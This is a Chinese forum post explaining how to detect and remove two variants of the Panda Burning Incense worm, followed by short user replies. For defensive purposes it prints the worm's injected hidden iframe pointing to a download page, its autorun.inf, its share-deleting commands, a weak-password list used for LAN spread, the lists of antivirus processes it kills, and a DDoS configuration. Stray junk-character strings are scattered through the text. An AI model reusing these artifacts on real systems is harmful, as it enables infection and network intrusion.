熊猫烧香病毒专杀及手动修复方案

鱼宝宝

介绍一下熊猫烧香病毒、熊猫烧香病毒变种的查杀方法，及熊猫烧香病毒的手动清除方案。提供了病毒进程为spoclsv.exe和FuckJacks.exe变种的解决方案，和熊猫烧香病毒专杀工具。

在动手查杀熊猫烧香病毒之前，强烈建议先注意以下四点：

1.本文包含两种熊猫烧香病毒变种的描述，请注意查看病毒症状，根据实际情况选用不同的查杀方法。

2.对于被熊猫烧香病毒感染的.exe可执行文件，推荐先备份，再修复！

3.找回被熊猫烧香病毒删除的ghost(.gho)文件，详情请见文中！

4.对计算机了解不多的用户，请在专家指导下清除熊猫烧香病毒。

熊猫烧香病毒变种一：病毒进程为“spoclsv.exe”

这是“熊猫烧香”早期变种之一，特别之处是“杀死杀毒软件”，最恶劣之处在于感染全盘.exe文件和删除.gho文件（Ghost的镜像文件）。最有“灵感”的一招莫过于在所有htm/html/asp/php/jsp/aspx文件末尾添加一段代码来调用病毒。目前所有专杀工具及杀毒软件均不会修复此病毒行为。需要手动清除病毒添加的代码，且一定要清除。否则访问了有此代码的网页，又会感染。其他老一点的“熊猫烧香”spoclsv变种的病毒行为比此版本少。就不再单独列出。

病毒描述：

“武汉男生”，俗称“熊猫烧香”，这是一个感染型的蠕虫病毒，它能感染系统中exe，com，pif，src，html，asp等文件，它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件，（.gho为GHOST的备份文件），使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

以下是熊猫烧香病毒详细行为和解决办法：

熊猫烧香病毒详细行为：

1.复制自身到系统目录下：

%System%\drivers\spoclsv.exe（“%System%”代表Windows所在目录，比如：C:\Windows）
不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。
6 F9 T# e' n; @% E% o
1 u; O" y8 o5 X- L. n* {6 x% v2.创建启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
, f$ V" A/ J' D( J' p　　"svcshare"="%System%\drivers\spoclsv.exe"
/ J8 t4 Z9 b8 X
. Z' P. z. n$ L# n' U3.在各分区根目录生成病毒副本：　　X:\setup.exe
　　X:\autorun.inf
8 {0 n# O* i7 ]autorun.inf内容：
' F4 c! S1 S% V[AutoRun]
　　OPEN=setup.exe
　　shellexecute=setup.exe
　　shell\Auto\command=setup.exe
" y7 @# \$ }5 L# u
$ b/ B. g' {. D+ |4.使用net share命令关闭管理共享：
cmd.exe /c net share X$ /del /y
. ~* k5 i2 [1 B5 V1 R; q　　cmd.exe /c net share admin$ /del /y
3 _8 d( R7 n2 j5 e" {, @
7 y. L+ r7 O$ A- p$ M' f* S5.修改“显示所有文件和文件夹”设置：
  S# }! ]! \* Y: B: ~1 H[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
　　"CheckedValue"=dword:00000000
$ [; E! E  X( ?3 s8 w
6.熊猫烧香病毒尝试关闭安全软件相关窗口：
5 l7 S8 W) D" N  }8 D天网
7 G& ?+ l) C' Q8 g. P防火墙进程
7 J1 U) I9 s. ~! \) tVirusScan
NOD32
( k9 A5 a$ e5 y- f8 K/ D网镖杀毒毒霸瑞星江民黄山IE
超级兔子优化大师木马清道夫木馬清道夫
+ p9 k- R  p! xQQ病毒注册表编辑器系统配置实用程序卡巴斯基反病毒
Symantec AntiVirus
) q! |2 v4 u! N5 q: pDuba
( Z4 a1 u2 U4 {/ g. _; jWindows 任务管理器
esteem procs
绿鹰PC
密码防盗噬菌体木马辅助查找器
System Safety Monitor
Wrapped gift Killer
$ m4 ?, l* q+ E; g8 IWinsock Expert
3 C$ Q& t( L& c3 i游戏木马检测大师超级巡警
4 ~/ e# T) z: @* \; }7 D" b2 p; ?msctls_statusbar32
pjf(ustc)
$ V% j; f4 \' M# {IceSword
' V6 m, a8 k; Q& s& K; \7 F
$ i+ M4 v( Q# a2 m9 ]$ g1 G7.尝试结束安全软件相关进程以及Viking病毒（威金病毒）进程：
Mcshield.exe
4 b+ z/ y4 p7 E) x4 _! h　　VsTskMgr.exe
　　naPrdMgr.exe
　　UpdaterUI.exe
" e; v" t' r5 h% V9 I  O　　TBMon.exe
0 I9 A% t$ y/ ?　　scan32.exe
' g: X) o$ j0 o: l! Q: T　　Ravmond.exe
　　CCenter.exe
- G; S6 g/ \5 V2 g& i- ]4 e! @　　RavTask.exe
　　Rav.exe
/ I7 k) R  Q' z5 [* j5 O　　Ravmon.exe
) s! v+ [1 U7 Y+ J　　RavmonD.exe
　　RavStub.exe
　　KVXP.kxp
" D6 r( Z! k% g, q! t/ T5 [2 J: |　　KvMonXP.kxp
) B8 D" N$ k2 `/ D　　KVCenter.kxp
　　KVSrvXP.exe
1 R+ U6 f: T1 H　　KRegEx.exe
　　UIHost.exe
2 V, T, v% `, h2 d6 r　　TrojDie.kxp
/ _: k+ \6 E2 f3 q5 y4 Q　　FrogAgent.exe
　　Logo1_.exe
　　Logo_1.exe
" `, d; f7 E. u3 c- I! a5 e, V  }　　Rundl132.exe
9 ~6 }4 L! X/ R0 y/ h3 K! o
8.禁用安全软件相关服务：
Schedule
　　sharedaccess
! g% X- C' d. e2 q5 F　　RsCCenter
　　RsRavMon
. q8 Y2 n# ?5 E2 E3 P　　KVWSC
　　KVSrvXP
　　kavsvc
　　AVP
: r- b  e1 V$ i. c+ b& g/ A# `　　McAfeeFramework
" O) v0 u, }* Z; E' N, s% D, c" |　　McShield
　　McTaskManager
/ r8 H' K* D) g, d: C8 t  d) H　　navapsvc
　　wscsvc
　　KPfwSvc
　　SNDSrvc
+ w' z5 _1 ~1 U! l) l; x　　ccProxy
　　ccEvtMgr
　　ccSetMgr
( W# [2 F( Y/ Q6 |; }# Q7 c2 o　　SPBBCSvc
& D6 I8 {. A) W$ X5 z5 m  z5 T　　Symantec Core LC
* T+ B* Q$ l# q, w% t0 A　　NPFMntor
　　MskService
　　FireSvc
7 X4 ~& T2 m: D/ L! `
) ]8 N6 ]  k* C; Q7 L1 O9.删除安全软件相关启动项：
9 o9 ]; m- L& o* e$ eSOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
- L  m0 I* Y- }5 L) g$ l* k! {　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
! k# V0 f1 s; |! }　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
: |& d# N2 d' Q8 v/ K0 J& G( O　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error           
# F2 k* _# Y/ @9 T' F. _. g% y2 `Reporting Service
2 B. I* g# ]# X5 e: J0 `1 G* c　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
, X: |4 a8 G  ~  |- J& z1 n　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
: V  ]' o3 k7 R2 k　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse
10.遍历目录修改htm/html/asp/php/jsp/aspx等网页文件，在这些文件尾部追加信息：
1 c: x$ G  H1 t<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
但不修改以下目录中的网页文件：
' d4 T) Q, V# e4 o$ ^4 M( A! q( WC:\WINDOWS
, y; ^" ^/ N* g+ }: J5 u　　C:\WINNT
　　C:\system32
! U. h" E" c9 }. P2 o( \  J　　C:\Documents and Settings
  }( t/ R9 g8 `: I5 Z  p　　C:\System Volume Information
　　C:\Recycled
　　Program Files\Windows NT
　　Program Files\WindowsUpdate
2 C8 z* Q" ~+ |& E9 n- ^" `　　Program Files\Windows Media Player
* I1 c* Y- Q) j7 D; z8 B) I　　Program Files\Outlook Express
% Y& j. O7 {# F# E$ f, w, u& E　　Program Files\Internet Explorer
4 j" i& G' X1 W1 s% Z: F* x　　Program Files\NetMeeting
　　Program Files\Common Files
' I4 c3 G9 n6 w0 K$ o　　Program Files\ComPlus Applications
7 _9 }4 y  ^- D6 C9 F　　Program Files\Messenger
1 p9 ~% e; Z8 M" G　　Program Files\InstallShield Installation Information
8 f8 _. {" n/ E　　Program Files\MSN
+ C! D+ u' f. @+ s( [　　Program Files\Microsoft Frontpage
, z- @9 P  b2 c& u! b2 n7 \3 s　　Program Files\Movie Maker
　　Program Files\MSN Gamin Zone
8 g- O" A/ I- ?  G* D* m11.在访问过的目录下生成Desktop_.ini文件，内容为当前日期。
12.此外，病毒还会尝试删除GHO文件。
6 e5 L& H8 Z# ^0 S. }# g0 U$ x病毒还尝试使用弱密码将副本以GameSetup.exe的文件名复制到局域网内其它计算机中：　　password
6 U) D' b! _8 y- p$ a$ k3 |6 \　　harley
1 x5 V; k; g0 w　　golf
4 I# \3 l  d, X% N, B- i% p　　pussy
+ `2 Q* ~9 l) h- m9 k4 `4 d3 B　　mustang
　　shadow
　　fish
" t6 p+ w' n6 [& P- a  ?3 ]　　qwerty
　　baseball
　　letmein
8 b8 \8 Z- Q& A' R( c; g; Q　　ccc
  {" V: v" m* x: R8 _　　admin
$ g2 M$ N& U+ B　　abc
5 d# \# m7 {& e+ Z1 G; K　　pass
　　passwd
　　database
　　abcd
% T4 j( \7 h8 d1 N5 M5 T# B　　abc123
　　sybase
$ |2 f3 E! Y; I) C, }6 e　　123qwe
% o6 ~5 q' D6 ^　　server
/ }8 y$ C9 `* K% p$ \　　computer
　　super
9 \3 u$ d0 W- H. m0 B) K8 {　　123asd
　　ihavenopass
　　godblessyou
5 H9 U) Q; L! Y( |　　enable
　　alpha
　　1234qwer
　　123abc
　　aaa
　　patrick
　　pat
　　administrator
6 D& d6 l' b/ D! M3 ?+ f0 M$ x　　root
　　sex
/ o6 m8 W5 I+ z3 v  n* s7 z　　god
6 m) t5 r: x/ W+ m　　fuckyou
　　fuck
　　test
　　test123
　　temp
6 {/ w+ u1 p1 K3 \( P, A　　temp123
　　win
　　asdf
% M2 g' j5 d* P2 h' k1 U　　pwd
8 @4 [7 p; c: M- v. s' b6 `: L3 L: `　　qwer
* a( x: g1 Y6 l$ ]　　yxcv
　　zxcv
　　home
　　xxx
　　owner
2 J6 A1 X( e5 B# X. K, j, P5 b　　login
( q- R# @* e0 }+ E: m1 i　　Login
　　love
& b3 I/ d$ N' T- r　　mypc
　　mypc123
1 q! G( I* h- y5 }, _' ^　　admin123
　　mypass
; z. g5 l8 m& @* N　　mypass123
* d& s+ _/ H+ X$ ~　　Administrator
　　Guest
9 \. p( f  E% V  |9 ^2 B; h" ~　　admin
　　Root

3 E' h+ y2 S- P3 p# M; l; v病毒文件内含有这些信息：
) d7 k4 s4 D. d$ x
, V( q  R: f- s- W& O' H( Rwhboy
　　***武*汉*男*生*感*染*下*载*者***
& _; i- q; U; i  O0 {" {, a解决方案：

$ N4 S" {# A: @+ }* U# p8 B1. 结束病毒进程：
%System%\drivers\spoclsv.exe
不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。但可用此方法清除。
9 [# m7 M1 r1 J1 Y“%System%\system32\spoclsv.exe”是系统文件。（目前看来没有出现插入该系统进程的变种，不排除变种的手法变化。）
查看当前运行spoclsv.exe的路径，可使用超级兔子魔法设置。
; |+ l5 ~/ |* `( y; f* p
2. 删除病毒文件：
%System%\drivers\spoclsv.exe
请注意区分病毒和系统文件。详见步骤1。

3. 删除病毒启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　"svcshare"="%System%\drivers\spoclsv.exe"
# A( R0 s4 ~' n
4. 通过分区盘符右键菜单中的“打开”进入分区根目录，删除根目录下的病毒文件：
1 K' k! Q* L: R" k$ @X:\setup.exe
　　X:\autorun.inf
: s  s! @& X) k1 h9 k
5. 恢复被修改的“显示所有文件和文件夹”设置：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
+ J& d  E/ D/ H; B+ @  V　　"CheckedValue"=dword:00000001

6. 修复或重新安装被破坏的安全软件。
$ K1 l% q/ p  W$ p  M
: h( N; f$ O0 @+ \1 e) {7.修复被感染的程序。可用专杀工具进行修复，收集了四个供读者使用。
& z/ J/ i! E7 J9 v金山熊猫烧香病毒专杀工具
0 i: ~- L1 d' y6 O7 O$ e2 k$ fhttp://down.www.kingsoft.com/db/download/othertools/DuBaTool_WhBoy.BAT
安天熊猫烧香病毒专杀工具
- J9 v3 u3 R. c; R, c! w# R1 _, u9 K; dhttp://www.antiy.com/download/KillPP.scr
江民熊猫烧香病毒专杀工具
- w2 `  r+ c/ |8 c2 _' shttp://ec.jiangmin.com/test/PandaKiller.rar
  H: V& w( x- p瑞星熊猫烧香病毒专杀工具
( q& ~: g$ a/ T/ |; H$ thttp://download.rising.com.cn/zsgj/NimayaKiller.scr
。也可用手动方法（见本文末）。

8. 恢复被修改的网页文件，可以使用某些编辑网页的工具替换被添加文字为空。机器上有htm/html/asp/php/jsp/aspx等网页文件，一定要删除此段代码。有危险代码的网页一但发布到网页可能会感染其他用户。

" Q2 y2 p2 K+ z# q* G熊猫烧香病毒变种二：病毒进程为“FuckJacks.exe”
8 f4 y: T' w  `- |8 C: ?
% Q" o0 j% g. |; \0 e4 q以下是数据安全实验室提供的信息与方法。
病毒描述：
2 T- T- e  J' q$ i3 A% o含有病毒体的文件被运行后，病毒将自身拷贝至系统目录，同时修改注册表将自身设置为开机启动项，并遍历各个驱动器，将自身写入磁盘根目录下，增加一个Autorun.inf文件，使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染，同时开另外一个线程连接某网站下载ddos程序进行发动恶意攻击。
  m: C. H1 ^) `2 L! D
4 v  z$ g8 E& ?& j. \  u$ ^病毒基本情况：

( g. u/ y" R" o2 z0 N[文件信息]

3 p- W( l- S0 I% X- U- h- \病毒名: Virus.Win32.EvilPanda.a.ex$
5 @/ v# Z* d% x/ B" Y　　大小: 0xDA00 (55808), (disk) 0xDA00 (55808)
　　SHA1  : F0C3DA82E1620701AD2F0C8B531EEBEA0E8AF69D
9 R: @- y* h  y/ ]2 |　　壳信息: 未知　　危害级别：高
& U4 y- K" M4 }/ K+ M% z
& W6 k+ g3 i& \9 S' y病毒名: Flooder.Win32.FloodBots.a.ex$
/ b9 b: A2 V0 ^) f　　大  小: 0xE800 (59392), (disk) 0xE800 (59392)
　　SHA1  : B71A7EF22A36DBE27E3830888DAFC3B2A7D5DA0D
6 w8 b# ^4 g& m7 z* i　　壳信息: UPX 0.89.6 - 1.02 / 1.05 - 1.24
. h& F& r# N8 a' ?! O% D) d　　危害级别：高

/ r. y# [. A2 R' F: X病毒行为：
7 {2 \2 l4 x+ d1 C' k1 }6 o
9 ~, _) G4 Q# FVirus.Win32.EvilPanda.a.ex$ ：

! c; Z" o+ ^/ S- F9 I1、病毒体执行后，将自身拷贝到系统目录：
%SystemRoot%\system32\FuckJacks.exe
0 U0 P7 }: n* [3 g1 j+ d8 K  ?1 l

　　2、添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
( H# Y) N; t6 ?6 `) w7 ~　　键名：FuckJacks
3 F& e7 B' R( M3 d5 A+ t9 R　　键值："C:WINDOWS\system32\FuckJacks.exe"

键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：svohost
, H7 h% d: t* `9 a4 `　　键值："C:WINDOWS\system32\FuckJacks.exe"
3 k  D7 S6 _. g: C% A7 d
3、拷贝自身到所有驱动器根目录，命名为Setup.exe，并生成一个autorun.inf使得用户打开该盘运行病毒，并将这两个文件属性设置为隐藏、只读、系统。
C:autorun.inf    1KB    RHS
( d1 a) S5 O6 q+ J' L　　C:setup.exe    230KB    RHS

$ I; g6 x& H6 S9 J7 Z# G4、关闭众多杀毒软件和安全工具。
5 {1 P" @' {9 W. j) h0 n5 q
5 H& X# H) C; L3 a; a: _+ }5、连接*****.3322.org下载某文件，并根据该文件记录的地址，去www.****.com下载某ddos程序，下载成功后执行该程序。
& F/ i  v, k5 o7 ?
" }7 W" ~! A! `7 H( `2 |! a! j6、刷新bbs.qq.com，某QQ秀链接。
3 E/ {$ V( X5 _( \( o' S: O( }
7、循环遍历磁盘目录，感染文件，对关键系统文件跳过，不感染Windows媒体播放器、MSN、IE 等程序。

/ u$ \  d$ l) {& j9 U; fFlooder.Win32.FloodBots.a.ex$ ：

1、病毒体执行后，将自身拷贝到系统目录：
* K( F7 G+ I$ r  Q- i4 a, G%SystemRoot%\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）　　%SystemRoot%\system32\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）

2、该病毒后下载运行后，添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
6 b* ?0 }* `+ M& V, x4 u7 G　　键名：Userinit
　　键值："C:WINDOWS\system32\SVCH0ST.exe"

. q  L* Z. X) G6 u# \( k- C" a0 E: E3、连接ddos2.****.com，获取攻击地址列表和攻击配置，并根据配置文件，进行相应的攻击。
配置文件如下：
  F9 h; h+ ~/ owww。victim.net:3389
) r) t& \( r6 Y+ F. ~　　www。victim.net:80
　　www。victim.com:80
　　www。victim.net:80
& n# q- u6 ?, c; @, M　　1
8 f7 l; `7 F: J$ x　　1
　　120
& {+ X% }+ X& P( Z- j: r　　50000

: H  z$ ^3 l+ ?; o7 z解决方案：

1. 断开网络

2. 结束病毒进程：%System%\FuckJacks.exe
' i1 X* k/ [0 K0 a5 V4 ~, g7 P! L
) g! ], J; N, D3. 删除病毒文件：%System%\FuckJacks.exe
2 N! {4 r& \, k3 Z1 s' @7 A0 G0 i- f
; N* s' P* R1 O' x& V' n$ N: U4. 右键点击分区盘符，点击右键菜单中的“打开”进入分区根目录，删除根目录下的文件：X:\autorun.inf
& o- c( p, B- h　　X:\setup.exe

+ ]  x* Z- Z% z9 I& w+ D7 d" T3 U5. 删除病毒创建的启动项：
$ ]3 t1 f9 \9 @1 e7 X[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
$ b/ X* Z; m" H　　"FuckJacks"="%System%\FuckJacks.exe"
9 c  I! N8 T% a+ Y3 j+ a[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
　　"svohost"="%System%\FuckJacks.exe"

2 z# f5 \; d: N3 A6. 修复或重新安装反病毒软件
/ {4 _' f+ s( t, E: _6 ?
! j1 s8 T) ^1 F- K9 V0 g  s7. 使用反病毒软件或专杀工具进行全盘扫描，清除恢复被感染的exe文件。也可用以下的手动方法恢复文件。
3 ^% y* Q# O5 j- _
9 x& E  n+ P1 E手动恢复中毒文件（在虚拟机上通过测试，供参考）
1 B# M6 o8 }: |3 `8 v8 U
7 N+ H" \( P0 v1 [) ]* r1.在清除病毒文件的同时不删除%SYSTEM%下面释放FuckJacks.exe的这个文件，即执行之前的步骤1、2、4、5。

! m4 g6 Z- T. C0 T- `2.打开“运行”输入“gpedit.msc”打开组策略－本地计算机策略－windows设置－安全设置－软件限制策略－其它规则。在其它规则上右键选择－新散列规则－打开新散列规则窗口

$ f4 ^- K3 D) Q; l" R3.在文件散列上点击浏览找到%SYSTEM%下面释放FuckJacks.exe文件。安全级别选择－不允许的。确定后重启。

7 H1 a4 e% g( t' y4.重启后可以双击运行已经被熊猫感染的程序。运行程序后该FuckJacks.exe文件会在注册表里的Run键下建立启动项（不会有问题的）。
/ L% x2 p0 L3 m0 O5 S0 s
5.双击运行被感染的程序已经恢复原来样子了。全部回复后，用SREng把FuckJacks.exe在注册表里的启动项删除即可！

幻镜

其实还有一个很简单的方法可以将伤害降到最小。
6 U! }) ?$ m4 u' U4 T6 u& P- d6 g, A
就是将那个GHOST备份文件不要设置为后缀GHO

你换一个后缀不就没事了吗？
4 S; B6 J% H0 Y; s% V  B8 O恢复时后缀只是起显示作用
只要你选准正确文件就照样恢复

rulingdanny

很讨厌的病毒 最近中找了 真是对卡巴斯基越来越没有信息了 防御能力＝0

Sonic鼠

妈的我也中招了！！！
存的片子和游戏全没了！！气死我了！！！
0 N) g- E7 h! N! x' y这病毒出现后没想到是金山反应最快~
瑞星都没招真没用~~~哎…………火大啊……

bmx极限运动

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！
/ r$ |# m6 d; ^

kk11qq

谢谢楼主的分享！！